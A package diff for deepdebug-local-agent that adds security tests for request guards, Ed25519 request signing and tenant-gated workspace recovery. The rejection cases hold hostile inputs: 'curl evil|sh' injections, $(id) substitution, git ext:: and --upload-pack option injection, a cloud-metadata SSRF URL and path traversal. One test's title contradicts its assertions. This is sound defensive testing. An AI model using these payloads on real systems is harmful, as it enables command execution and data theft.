deepdebug-local-agent 1.0.22 → 1.1.0

package/test/request-guards.test.js

@@ -0,0 +1,91 @@
+// test/request-guards.test.js
+// SECURITY AUDIT 2026-09: SSRF / injection guards for request fields.
+
+import { test, describe } from 'node:test';
+import assert from 'node:assert/strict';
+import {
+  validateLocalTestUrl,
+  buildLocalTestUrl,
+  isSafeTenantId,
+  validateGitUrl,
+  isSafeToolName,
+} from '../src/utils/request-guards.js';
+
+const OWN = new Set([5055, 5056]);
+
+describe('validateLocalTestUrl (POST /workspace/test-endpoint)', () => {
+  test('accepts the customer service on loopback', () => {
+    assert.equal(validateLocalTestUrl('http://localhost:8080/api/orders', OWN).ok, true);
+    assert.equal(validateLocalTestUrl('http://127.0.0.1:3000/', OWN).ok, true);
+  });
+  test('rejects prefix-bypass hosts that the old startsWith check allowed', () => {
+    assert.equal(validateLocalTestUrl('http://localhost.attacker.tld/x', OWN).ok, false);
+    assert.equal(validateLocalTestUrl('http://localhost@10.0.0.5/admin', OWN).ok, false);
+    assert.equal(validateLocalTestUrl('http://127.0.0.1.nip.io/', OWN).ok, false);
+    assert.equal(validateLocalTestUrl('http://127.0.0.1@169.254.169.254/latest/meta-data', OWN).ok, false);
+  });
+  test('rejects the agent\'s own ports (loopback-perimeter bypass)', () => {
+    assert.equal(validateLocalTestUrl('http://localhost:5055/setup/run-command', OWN).ok, false);
+    assert.equal(validateLocalTestUrl('http://127.0.0.1:5056/mcp/execute-command', OWN).ok, false);
+  });
+  test('rejects non-http schemes', () => {
+    assert.equal(validateLocalTestUrl('file:///etc/passwd', OWN).ok, false);
+  });
+});
+
+describe('buildLocalTestUrl (POST /workspace/test-local/execute)', () => {
+  test('normal path', () => {
+    const r = buildLocalTestUrl(8080, '/api/v1/items?x=1', OWN);
+    assert.equal(r.ok, true);
+    assert.equal(r.url, 'http://localhost:8080/api/v1/items?x=1');
+  });
+  test('"@host" path cannot retarget the request', () => {
+    assert.equal(buildLocalTestUrl(8080, '@evil.com/x', OWN).ok, false);
+    // '@' after the first '/' is path, not authority: host stays localhost.
+    const at = buildLocalTestUrl(8080, '/users/a@b.com', OWN);
+    assert.equal(at.ok, true);
+    assert.equal(new URL(at.url).hostname, 'localhost');
+    assert.equal(buildLocalTestUrl(8080, '//evil.com/x', OWN).ok, false);
+  });
+  test('bad or own port', () => {
+    assert.equal(buildLocalTestUrl('80@evil.com', '/x', OWN).ok, false);
+    assert.equal(buildLocalTestUrl(5055, '/x', OWN).ok, false);
+    assert.equal(buildLocalTestUrl(70000, '/x', OWN).ok, false);
+  });
+});
+
+describe('validateGitUrl (POST /workspace/clone)', () => {
+  test('accepts https and scp-style ssh', () => {
+    assert.equal(validateGitUrl('https://github.com/acme/app.git').ok, true);
+    assert.equal(validateGitUrl('https://x-access-token:abc123@github.com/acme/app.git').ok, true);
+    assert.equal(validateGitUrl('git@github.com:acme/app.git').ok, true);
+  });
+  test('rejects shell injection', () => {
+    assert.equal(validateGitUrl('https://github.com/a/b.git"; curl evil|sh; "').ok, false);
+    assert.equal(validateGitUrl('https://github.com/$(id)/b.git').ok, false);
+    assert.equal(validateGitUrl('https://github.com/a/`id`.git').ok, false);
+  });
+  test('rejects local / dangerous transports and option injection', () => {
+    assert.equal(validateGitUrl('file:///mnt/workspaces/other-tenant/repo').ok, false);
+    assert.equal(validateGitUrl('/etc').ok, false);
+    assert.equal(validateGitUrl('ext::sh -c touch% /tmp/pwned').ok, false);
+    assert.equal(validateGitUrl('--upload-pack=touch /tmp/x').ok, false);
+    assert.equal(validateGitUrl('http://internal.corp/repo.git').ok, false);
+  });
+});
+
+describe('isSafeTenantId', () => {
+  test('uuid-ish ids pass, traversal fails', () => {
+    assert.equal(isSafeTenantId('639227ab-1234-4cde-9f00-aa11bb22cc33'), true);
+    assert.equal(isSafeTenantId('../../etc'), false);
+    assert.equal(isSafeTenantId('a/b'), false);
+    assert.equal(isSafeTenantId(''), false);
+  });
+});
+
+describe('isSafeToolName (/setup/check-tool, /setup/install-tool)', () => {
+  test('tool names pass, shell payloads fail', () => {
+    for (const t of ['gh', 'azure-cli', 'google-cloud-sdk', 'node18', 'g++']) assert.equal(isSafeToolName(t), true, t);
+    for (const t of ['gh; id', 'x && curl evil|sh', '$(id)', '-rf', '']) assert.equal(isSafeToolName(t), false, t);
+  });
+});

package/test/request-signing.test.js

@@ -0,0 +1,284 @@
+// Signed platform commands: Ed25519 over method/path/body/tenant/workspace/ts/nonce.
+import { test, describe } from 'node:test';
+import assert from 'node:assert/strict';
+import crypto from 'node:crypto';
+import http from 'node:http';
+import express from 'express';
+import {
+  canonicalString, sha256Hex, verifySignature, NonceCache, loadTrustedKeys, parsePublicKey,
+  resolveMode, resolveIdentity, createSignatureMiddleware, captureRawBody, verifyWsEnvelope,
+  internalSignatureHeaders,
+} from '../src/utils/request-signing.js';
+
+const NOW = 1_790_000_000_000; // fixed clock (ms)
+const kp = () => crypto.generateKeyPairSync('ed25519');
+const rawPub = (k) => k.publicKey.export({ type: 'spki', format: 'der' }).subarray(12).toString('base64');
+const spkiPub = (k) => k.publicKey.export({ type: 'spki', format: 'der' }).toString('base64');
+const K1 = kp();
+const K2 = kp();
+
+function cfg(over = {}) {
+  return {
+    mode: 'enforce',
+    keys: new Map([['k1', parsePublicKey(rawPub(K1))]]),
+    keyErrors: [],
+    identity: { tenantId: '', workspaceId: '', requireWorkspace: false },
+    maxSkewSeconds: 60,
+    nonces: new NonceCache({ now: () => NOW }),
+    now: () => NOW,
+    ...over,
+  };
+}
+
+let n = 0;
+function sign({ key = K1, keyId = 'k1', method = 'POST', pathAndQuery = '/workspace/exec', body = '{"command":"git status"}',
+  tenantId = 't1', workspaceId = 'w1', timestamp = Math.floor(NOW / 1000), nonce = `nonce-${String(++n).padStart(12, '0')}` } = {}) {
+  const data = canonicalString({ method, pathAndQuery, bodySha256: sha256Hex(Buffer.from(body)), tenantId, workspaceId, timestamp, nonce });
+  const signature = crypto.sign(null, Buffer.from(data), key.privateKey).toString('base64');
+  return { req: { method, pathAndQuery, body: Buffer.from(body), sig: { keyId, timestamp: String(timestamp), nonce, tenantId, workspaceId, signature } }, nonce };
+}
+
+describe('canonical string', () => {
+  test('is the documented, LF-joined v1 layout (golden vector shared with the Java signers)', () => {
+    assert.equal(
+      canonicalString({ method: 'post', pathAndQuery: '/workspace/exec?x=1', bodySha256: sha256Hex(Buffer.from('{}')), tenantId: 't', workspaceId: 'w', timestamp: 1790000000, nonce: 'abcdefghijklmnop' }),
+      'VH-AGENT-SIG-V1\nPOST\n/workspace/exec?x=1\n44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\nt\nw\n1790000000\nabcdefghijklmnop');
+  });
+  test('known-answer: the Java signers (gateway, agents) produce this exact signature for the golden vector', () => {
+    // Test-only key, seed 0x01..0x20 — same as AgentRequestSignerTest / NodeAgentClientFactorySigningTest.
+    const pub = parsePublicKey('MCowBQYDK2VwAyEAebVWLo/mVPlAeLES6KmLp5AfhTrmlb7X4OORC60ElmQ=');
+    const golden = 'VH-AGENT-SIG-V1\nPOST\n/workspace/exec?x=1\n44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\nt\nw\n1790000000\nabcdefghijklmnop';
+    const sig = 'N1A0BhNN4jA0dTMM8saxwy4TqF0A+BHcqovejKS/EItZRYqjN0O53CjBTiI3FEyE7bQgtGMz/+hyXcFFvt3VBQ==';
+    assert.equal(crypto.verify(null, Buffer.from(golden), pub, Buffer.from(sig, 'base64')), true);
+    const c = cfg({ keys: new Map([['java', pub]]), now: () => 1790000000 * 1000 });
+    const out = verifySignature({ method: 'POST', pathAndQuery: '/workspace/exec?x=1', body: Buffer.from('{}'),
+      sig: { keyId: 'java', timestamp: '1790000000', nonce: 'abcdefghijklmnop', tenantId: 't', workspaceId: 'w', signature: sig } }, c);
+    assert.equal(out.ok, true);
+  });
+  test('empty body hashes as sha256("")', () => {
+    assert.equal(sha256Hex(undefined), 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855');
+  });
+});
+
+describe('verifySignature', () => {
+  test('valid signature verifies and returns the signed identity', () => {
+    const out = verifySignature(sign().req, cfg());
+    assert.deepEqual(out, { ok: true, tenantId: 't1', workspaceId: 'w1', keyId: 'k1' });
+  });
+  test('rejects: unsigned, unknown key, tampered body/path/method/tenant, wrong key', () => {
+    const c = cfg();
+    assert.match(verifySignature({ method: 'POST', pathAndQuery: '/x', body: Buffer.alloc(0), sig: null }, c).reason, /unsigned/);
+    assert.match(verifySignature(sign({ keyId: 'nope' }).req, c).reason, /unknown signing key/);
+    const t1 = sign().req; t1.body = Buffer.from('{"command":"rm -rf ."}');
+    assert.equal(verifySignature(t1, c).reason, 'bad signature');
+    const t2 = sign().req; t2.pathAndQuery = '/setup/run-command';
+    assert.equal(verifySignature(t2, c).reason, 'bad signature');
+    const t3 = sign().req; t3.method = 'PUT';
+    assert.equal(verifySignature(t3, c).reason, 'bad signature');
+    const t4 = sign().req; t4.sig.tenantId = 'other';
+    assert.equal(verifySignature(t4, c).reason, 'bad signature');
+    assert.equal(verifySignature(sign({ key: K2 }).req, c).reason, 'bad signature');
+  });
+  test('rejects when no trusted keys are configured', () => {
+    assert.match(verifySignature(sign().req, cfg({ keys: new Map() })).reason, /no trusted signing keys/);
+  });
+  test('skew: 60s accepted, 61s rejected (both directions)', () => {
+    const c = cfg();
+    const t = Math.floor(NOW / 1000);
+    assert.equal(verifySignature(sign({ timestamp: t - 60 }).req, c).ok, true);
+    assert.equal(verifySignature(sign({ timestamp: t + 60 }).req, c).ok, true);
+    assert.match(verifySignature(sign({ timestamp: t - 61 }).req, c).reason, /skew 61s/);
+    assert.match(verifySignature(sign({ timestamp: t + 61 }).req, c).reason, /skew 61s/);
+  });
+  test('replay: the same nonce is accepted once', () => {
+    const c = cfg();
+    const { req } = sign();
+    assert.equal(verifySignature(req, c).ok, true);
+    assert.equal(verifySignature(req, c).reason, 'replayed nonce');
+  });
+  test('a failed verification does not burn the nonce', () => {
+    const c = cfg();
+    const good = sign();
+    const bad = structuredClone(good.req); bad.body = Buffer.from('x');
+    assert.equal(verifySignature(bad, c).ok, false);
+    assert.equal(verifySignature(good.req, c).ok, true);
+  });
+  test('tenant / workspace binding to the configured identity', () => {
+    const c = cfg({ identity: { tenantId: 't1', workspaceId: 'w1', requireWorkspace: false } });
+    assert.equal(verifySignature(sign({ tenantId: 't1', workspaceId: 'w1' }).req, c).ok, true);
+    assert.match(verifySignature(sign({ tenantId: 't2' }).req, c).reason, /tenant mismatch/);
+    assert.match(verifySignature(sign({ tenantId: '' }).req, c).reason, /tenant mismatch/);
+    assert.match(verifySignature(sign({ workspaceId: 'w2' }).req, c).reason, /workspace mismatch/);
+    // untagged workspace is tolerated unless LOCAL_AGENT_REQUIRE_WORKSPACE=true
+    assert.equal(verifySignature(sign({ workspaceId: '' }).req, c).ok, true);
+    const strict = cfg({ identity: { tenantId: 't1', workspaceId: 'w1', requireWorkspace: true } });
+    assert.match(verifySignature(sign({ workspaceId: '' }).req, strict).reason, /workspace mismatch/);
+  });
+  test('shared agent (no configured identity) accepts any signed tenant', () => {
+    assert.equal(verifySignature(sign({ tenantId: 'anyone' }).req, cfg()).ok, true);
+  });
+});
+
+describe('key rotation', () => {
+  test('both keys verify during the rotation window; a removed key stops verifying', () => {
+    const env = { LOCAL_AGENT_SIGNING_PUBLIC_KEYS: `k1=${rawPub(K1)},k2=${spkiPub(K2)}` };
+    const { keys, errors } = loadTrustedKeys(env, { defaultFile: null });
+    assert.deepEqual(errors, []);
+    const c = cfg({ keys });
+    assert.equal(verifySignature(sign({ key: K1, keyId: 'k1' }).req, c).ok, true);
+    assert.equal(verifySignature(sign({ key: K2, keyId: 'k2' }).req, c).ok, true);
+    const after = cfg({ keys: loadTrustedKeys({ LOCAL_AGENT_SIGNING_PUBLIC_KEYS: `k2=${rawPub(K2)}` }, { defaultFile: null }).keys });
+    assert.match(verifySignature(sign({ key: K1, keyId: 'k1' }).req, after).reason, /unknown signing key/);
+    // a key id cannot be used with another key's signature
+    assert.equal(verifySignature(sign({ key: K1, keyId: 'k2' }).req, c).reason, 'bad signature');
+  });
+  test('PEM public keys and the image default file are accepted; bad entries are reported', async () => {
+    const fs = await import('node:fs');
+    const os = await import('node:os');
+    const path = await import('node:path');
+    const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'sigkeys-'));
+    const file = path.join(dir, 'keys.json');
+    fs.writeFileSync(file, JSON.stringify([{ keyId: 'img', publicKey: K1.publicKey.export({ type: 'spki', format: 'pem' }) }]));
+    const { keys, errors } = loadTrustedKeys({ LOCAL_AGENT_SIGNING_KEYS_FILE: file, LOCAL_AGENT_SIGNING_PUBLIC_KEYS: 'bad,k9=AAAA' });
+    assert.ok(keys.has('img'));
+    assert.equal(errors.length, 2);
+  });
+  test('non-Ed25519 keys are refused', () => {
+    const rsa = crypto.generateKeyPairSync('rsa', { modulusLength: 1024 });
+    assert.throws(() => parsePublicKey(rsa.publicKey.export({ type: 'spki', format: 'pem' })), /not Ed25519/);
+  });
+});
+
+describe('NonceCache', () => {
+  test('expires after its TTL and stays bounded (LRU)', () => {
+    let t = 0;
+    const c = new NonceCache({ ttlMs: 1000, max: 3, now: () => t });
+    assert.equal(c.checkAndRemember('a'), true);
+    assert.equal(c.checkAndRemember('a'), false);
+    t = 1001;
+    assert.equal(c.checkAndRemember('a'), true);
+    c.checkAndRemember('b'); c.checkAndRemember('c'); c.checkAndRemember('d');
+    assert.equal(c.size, 3);
+  });
+});
+
+describe('config', () => {
+  test('mode defaults to warn; unknown values fall back to warn', () => {
+    assert.equal(resolveMode(undefined), 'enforce');
+    assert.equal(resolveMode('ENFORCE'), 'enforce');
+    assert.equal(resolveMode('bogus'), 'enforce');
+    assert.equal(resolveMode('warn'), 'warn');
+  });
+  test('identity comes from LOCAL_AGENT_* then the provisioned TENANT_ID / WORKSPACE_ID', () => {
+    assert.deepEqual(resolveIdentity({ TENANT_ID: 't', WORKSPACE_ID: 'w' }), { tenantId: 't', workspaceId: 'w', requireWorkspace: false });
+    assert.equal(resolveIdentity({ TENANT_ID: 't', LOCAL_AGENT_TENANT_ID: 'x' }).tenantId, 'x');
+  });
+});
+
+// ── middleware: warn vs enforce over real HTTP ──
+async function serve(mode, handler = (req, res) => res.json({ ok: true, sig: req.vhSignature })) {
+  const app = express();
+  app.use(express.json({ verify: captureRawBody }));
+  app.use(createSignatureMiddleware(cfg({ mode, now: () => Date.now(), nonces: new NonceCache() })));
+  app.post('/workspace/exec', handler);
+  app.get('/health', (_q, r) => r.json({ ok: true }));
+  const server = http.createServer(app);
+  await new Promise(r => server.listen(0, '127.0.0.1', r));
+  return { server, base: `http://127.0.0.1:${server.address().port}` };
+}
+function liveHeaders(body, over = {}) {
+  const ts = Math.floor(Date.now() / 1000);
+  const nonce = crypto.randomBytes(16).toString('base64url');
+  const data = canonicalString({ method: 'POST', pathAndQuery: '/workspace/exec', bodySha256: sha256Hex(Buffer.from(body)), tenantId: 't1', workspaceId: 'w1', timestamp: ts, nonce });
+  return {
+    'content-type': 'application/json',
+    'x-vh-key-id': 'k1', 'x-vh-timestamp': String(ts), 'x-vh-nonce': nonce,
+    'x-vh-tenant-id': 't1', 'x-vh-workspace-id': 'w1',
+    'x-vh-signature': crypto.sign(null, Buffer.from(data), K1.privateKey).toString('base64'),
+    ...over,
+  };
+}
+
+describe('signature middleware', () => {
+  test('enforce: signed passes, unsigned / tampered / replayed get 401; /health stays public', async () => {
+    const { server, base } = await serve('enforce');
+    try {
+      const body = '{"command":"git status"}';
+      const h = liveHeaders(body);
+      let r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: h, body });
+      assert.equal(r.status, 200);
+      assert.equal((await r.json()).sig.verified, true);
+      r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: h, body });
+      assert.equal(r.status, 401);
+      assert.equal((await r.json()).reason, 'replayed nonce');
+      r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: liveHeaders(body), body: '{"command":"id"}' });
+      assert.equal(r.status, 401);
+      r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
+      assert.equal(r.status, 401);
+      r = await fetch(`${base}/health`);
+      assert.equal(r.status, 200);
+    } finally { server.close(); }
+  });
+  test('warn: unsigned and bad requests pass through, marked unverified', async () => {
+    const { server, base } = await serve('warn');
+    try {
+      const body = '{"command":"git status"}';
+      let r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
+      assert.equal(r.status, 200);
+      assert.deepEqual((await r.json()).sig, { verified: false, reason: 'unsigned request' });
+      r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: liveHeaders(body), body: '{"command":"id"}' });
+      assert.equal(r.status, 200);
+      assert.equal((await r.json()).sig.reason, 'bad signature');
+    } finally { server.close(); }
+  });
+  test('off: nothing is verified', async () => {
+    const { server, base } = await serve('off');
+    try {
+      const r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{}' });
+      assert.equal(r.status, 200);
+    } finally { server.close(); }
+  });
+  test('the per-process internal marker (WS tunnel hop) is accepted from loopback only', async () => {
+    const { server, base } = await serve('enforce');
+    try {
+      const r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json', ...internalSignatureHeaders(), 'x-vh-tenant-id': 't1' }, body: '{}' });
+      assert.equal(r.status, 200);
+      const j = await r.json();
+      assert.equal(j.sig.internal, true);
+      const forged = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json', 'x-vh-internal': 'x'.repeat(43) }, body: '{}' });
+      assert.equal(forged.status, 401);
+    } finally { server.close(); }
+  });
+});
+
+describe('WS envelope', () => {
+  function envelope(params, over = {}) {
+    const paramsRaw = JSON.stringify(params);
+    const { req } = sign({ method: 'WS', pathAndQuery: 'mcp.execute-command', body: paramsRaw, ...over });
+    return { requestId: 'r1', command: 'mcp.execute-command', params, paramsRaw, sig: req.sig };
+  }
+  test('verified envelope runs the SIGNED paramsRaw, not the unsigned params copy', () => {
+    const env = envelope({ command: 'git status' });
+    env.params = { command: 'curl evil | sh' };
+    const out = verifyWsEnvelope(env, cfg());
+    assert.equal(out.ok, true);
+    assert.equal(out.verified, true);
+    assert.deepEqual(out.params, { command: 'git status' });
+  });
+  test('enforce rejects an unsigned or tampered envelope; warn runs legacy params', () => {
+    const tampered = envelope({ command: 'git status' });
+    tampered.paramsRaw = JSON.stringify({ command: 'id' });
+    assert.equal(verifyWsEnvelope(tampered, cfg()).ok, false);
+    const legacy = { requestId: 'r', command: 'health', params: { a: 1 } };
+    assert.equal(verifyWsEnvelope(legacy, cfg()).ok, false);
+    const warn = verifyWsEnvelope(legacy, cfg({ mode: 'warn' }));
+    assert.equal(warn.ok, true);
+    assert.equal(warn.verified, false);
+    assert.deepEqual(warn.params, { a: 1 });
+  });
+  test('the command name is signed (cannot re-route a signed envelope)', () => {
+    const env = envelope({ path: 'a' });
+    env.command = 'mcp.apply-patch';
+    assert.equal(verifyWsEnvelope(env, cfg()).reason, 'bad signature');
+  });
+});

package/test/root-recovery-sidecar.test.js

@@ -0,0 +1,171 @@
+// ROOT-RECOVERY sidecar tenant (QA 2026-10-09): a clone whose in-memory
+// registration was lost is recovered ONLY when its own sidecar names the same
+// tenant as the dead root. Every other case keeps the fail-closed denial.
+
+import { test, describe, beforeEach, afterEach } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import path from 'node:path';
+import os from 'node:os';
+import { recoverLiveRoot, sidecarTenantOf, SIDECAR_MAX_BYTES } from '../src/utils/root-recovery.js';
+import { WorkspaceManager } from '../src/workspace-manager.js';
+
+const SC = '.vh-workspace.json';
+let tmp, mount, outside;
+const dead = (t, repo = 'api-todolist') => `/mnt/workspaces/${t}/${repo}`;
+
+function clone(name, sidecar, { raw } = {}) {
+  const dir = path.join(mount, name);
+  fs.mkdirSync(dir, { recursive: true });
+  if (raw !== undefined) fs.writeFileSync(path.join(dir, SC), raw);
+  else if (sidecar) fs.writeFileSync(path.join(dir, SC), JSON.stringify({ id: 'ws', root: dir, openedAt: 'x', ...sidecar }));
+  return dir;
+}
+const run = (t, extra = {}) => {
+  const warns = [];
+  const live = recoverLiveRoot(dead(t), { registry: [], mountDir: mount, warn: (m) => warns.push(m), ...extra });
+  return { live, warns };
+};
+
+beforeEach(() => {
+  tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'rr-sc-'));
+  mount = path.join(tmp, 'workspaces');
+  outside = path.join(tmp, 'outside');
+  fs.mkdirSync(mount); fs.mkdirSync(outside);
+});
+afterEach(() => fs.rmSync(tmp, { recursive: true, force: true }));
+
+describe('sidecar tenant recovery', () => {
+  test('recovers when sidecar tenant equals the dead tenant', () => {
+    const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
+    assert.equal(run('tenant-a').live, dir);
+  });
+
+  test('works with the request tenantHint for non-NFS dead roots', () => {
+    const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
+    const live = recoverLiveRoot('/somewhere/dead/api-todolist', { registry: [], mountDir: mount, tenantHint: 'tenant-a', warn() {} });
+    assert.equal(live, dir);
+  });
+
+  test('refuses when the sidecar names a different tenant (and logs the gate line)', () => {
+    clone('ACME_api-todolist', { tenantId: 'tenant-b' });
+    const { live, warns } = run('tenant-a');
+    assert.equal(live, null);
+    assert.ok(warns.some((m) => /disk-scan match denied - dead tenant 'tenant-a' vs candidate tenant 'tenant-b'/.test(m)));
+  });
+
+  test('same basename for two tenants never crosses; each gets its own clone', () => {
+    const a = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
+    const b = clone('OTHER_api-todolist', { tenantId: 'tenant-b' });
+    assert.equal(run('tenant-a').live, a);
+    assert.equal(run('tenant-b').live, b);
+    assert.equal(run('tenant-c').live, null);
+  });
+
+  test('refuses when the sidecar is missing', () => {
+    clone('ACME_api-todolist', null);
+    const { live, warns } = run('tenant-a');
+    assert.equal(live, null);
+    assert.ok(warns.some((m) => /candidate tenant 'unknown'.*missing/.test(m)));
+  });
+
+  test('refuses malformed, non-object, tenant-less and root-mismatch sidecars', () => {
+    for (const raw of ['{not json', '[]', '"x"', JSON.stringify({ id: 'w', root: '/tmp/x/ACME_api-todolist', tenantId: 'tenant-a' }),
+      JSON.stringify({ id: 'w', root: path.join(mount, 'ACME_api-todolist'), tenantId: '  ' }),
+      JSON.stringify({ root: path.join(mount, 'ACME_api-todolist'), tenantId: 'tenant-a' })]) {
+      fs.rmSync(mount, { recursive: true, force: true }); fs.mkdirSync(mount);
+      clone('ACME_api-todolist', null, { raw });
+      assert.equal(run('tenant-a').live, null, raw);
+    }
+  });
+
+  test('refuses an oversized sidecar', () => {
+    const pad = 'x'.repeat(SIDECAR_MAX_BYTES + 10);
+    const dir = path.join(mount, 'ACME_api-todolist');
+    clone('ACME_api-todolist', null, { raw: JSON.stringify({ id: 'w', root: dir, tenantId: 'tenant-a', pad }) });
+    const { live, warns } = run('tenant-a');
+    assert.equal(live, null);
+    assert.ok(warns.some((m) => /oversized/.test(m)));
+  });
+
+  test('refuses a sidecar that is a symlink pointing outside the candidate dir', () => {
+    const dir = clone('ACME_api-todolist', null);
+    const target = path.join(outside, 'sc.json');
+    fs.writeFileSync(target, JSON.stringify({ id: 'w', root: dir, tenantId: 'tenant-a' }));
+    fs.symlinkSync(target, path.join(dir, SC));
+    const { live, warns } = run('tenant-a');
+    assert.equal(live, null);
+    assert.ok(warns.some((m) => /not-a-regular-file/.test(m)));
+  });
+
+  test('refuses a candidate dir that is a symlink to a place outside the mount', () => {
+    const real = path.join(outside, 'ACME_api-todolist');
+    fs.mkdirSync(real);
+    fs.writeFileSync(path.join(real, SC), JSON.stringify({ id: 'w', root: path.join(mount, 'ACME_api-todolist'), tenantId: 'tenant-a' }));
+    fs.symlinkSync(real, path.join(mount, 'ACME_api-todolist'));
+    const { live, warns } = run('tenant-a');
+    assert.equal(live, null);
+    assert.ok(warns.some((m) => /candidate-outside-mount/.test(m)));
+    assert.equal(sidecarTenantOf(real, mount).tenantId, null);
+  });
+
+  test('sidecar is ignored for the decision beyond tenant (repoUrl etc. never trusted)', () => {
+    const dir = clone('ACME_api-todolist', { tenantId: 'tenant-b', repoUrl: 'https://x/tenant-a/api-todolist', tenant: 'tenant-a' });
+    assert.notEqual(run('tenant-a').live, dir);
+  });
+});
+
+describe('registry behaviour unchanged', () => {
+  test('registry tenant wins over a conflicting sidecar (sidecar not consulted)', () => {
+    const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
+    const reg = [{ id: 'w', root: dir, tenantId: 'tenant-b' }];
+    assert.equal(run('tenant-a', { registry: reg }).live, null);
+    const reg2 = [{ id: 'w', root: dir, tenantId: 'tenant-a' }];
+    clone('ACME_api-todolist', { tenantId: 'tenant-b' });
+    assert.equal(run('tenant-a', { registry: reg2 }).live, dir);
+  });
+
+  test('unknown dead tenant is still denied even with a sidecar', () => {
+    clone('ACME_api-todolist', { tenantId: 'tenant-a' });
+    const live = recoverLiveRoot('/opt/dead/api-todolist', { registry: [], mountDir: mount, warn() {} });
+    assert.equal(live, null);
+  });
+
+  test('dir without registry tenant and without sidecar keeps the exact legacy denial line', () => {
+    clone('ACME_api-todolist', null);
+    const { warns } = run('tenant-a');
+    assert.equal(warns.length, 1);
+    assert.match(warns[0], /^\[ROOT-RECOVERY\] TENANT GATE: disk-scan match denied - dead tenant 'tenant-a' vs candidate tenant 'unknown' \(base 'api-todolist'\)/);
+  });
+});
+
+describe('WorkspaceManager sidecar write', () => {
+  test('writes tenantId atomically with mode 0600 and leaves no temp file', async () => {
+    const dir = clone('ACME_api-todolist', null);
+    const m = new WorkspaceManager();
+    await m.open('w1', dir, { tenantId: 'tenant-a' });
+    const f = path.join(dir, SC);
+    assert.equal(JSON.parse(fs.readFileSync(f, 'utf8')).tenantId, 'tenant-a');
+    assert.equal(fs.statSync(f).mode & 0o777, 0o600);
+    assert.deepEqual(fs.readdirSync(dir).filter((n) => n.endsWith('.tmp')), []);
+    assert.equal(run('tenant-a').live, dir);
+  });
+
+  test('a reused id ("default") never lends tenant A to tenant B-less clone of another dir', async () => {
+    const dirA = clone('ACME_api-todolist', null);
+    const dirB = clone('OTHER_api-todolist', null);
+    const m = new WorkspaceManager();
+    await m.open('default', dirA, { tenantId: 'tenant-a' });
+    await m.open('default', dirB, { tenantId: null });
+    assert.equal(JSON.parse(fs.readFileSync(path.join(dirB, SC), 'utf8')).tenantId, null);
+    assert.equal(run('tenant-a').live, dirA);
+  });
+
+  test('re-open of the SAME dir without tenant keeps its tenant', async () => {
+    const dir = clone('ACME_api-todolist', null);
+    const m = new WorkspaceManager();
+    await m.open('w1', dir, { tenantId: 'tenant-a' });
+    await m.open('w1', dir, {});
+    assert.equal(JSON.parse(fs.readFileSync(path.join(dir, SC), 'utf8')).tenantId, 'tenant-a');
+  });
+});